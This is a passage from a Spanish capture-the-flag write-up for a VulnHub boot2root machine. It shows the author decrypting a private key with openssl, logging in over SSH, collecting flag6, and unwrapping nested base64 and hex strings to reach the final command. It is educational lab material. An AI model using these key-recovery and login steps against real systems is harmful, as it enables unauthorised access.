  • Descifrar la clave con el comando openssl y entrar por ssh con la clave descifrada.

Nosotros hemos optado por descifrar la clave y acceder con ella.

Para descifrar la clave utilizamos el siguiente comando:

openssl rsa -in encrypted.key -out decrypted.key

Una vez que estamos dentro nos muestra directamente la flag6

_config.yml

que decodeando el contenido de la cadena en base64 obtenemos una cadena en hexadecimal:

4e546b325a4451324e324531595455304e546b7a4d4451354e444d7a4d545a694e446b304d7a4d354d7a49314f5455344e446b334e6a59794e44637a4f545a684e546b314e7a63334e7a5930597a5a6b4e7a677a4d5459784d7a49314e6a4d344e6a49304e7a55324e3245324d7a63354d7a55334f5456684e5463304e6a637a4e444d324e7a4e6b4d32517759516f3d0a

que convirtiendolo en ascci nos devuelve otra cadena en base64:

NTk2ZDQ2N2E1YTU0NTkzMDQ5NDMzMTZiNDk0MzM5MzI1OTU4NDk3NjYyNDczOTZhNTk1Nzc3NzY0YzZkNzgzMTYxMzI1NjM4NjI0NzU2N2E2Mzc5MzU3OTVhNTc0NjczNDM2NzNkM2QwYQo=

que decodeandola obtenemos otra cadena en hexadecimal

596d467a5a5459304943316b49433932595849766247396a595777764c6d7831613256386247567a637935795a57467343673d3d0a

que convirtiendolo a ascci obtenemos una última cadena en base64

YmFzZTY0IC1kIC92YXIvbG9jYWwvLmx1a2V8bGVzcy5yZWFsCg

que decodeandola nos muestra el siguiente comando:

base64 -d /var/local/.luke|less.real

Trás ejecutar el comando en la sesión ssh que tenemos abierta obtenemos el mensaje de que hemos finalizado la máquina.

_config.yml


← Mr.Robot VulnHub Boot2Root Pluck VulnHub Boot2Root »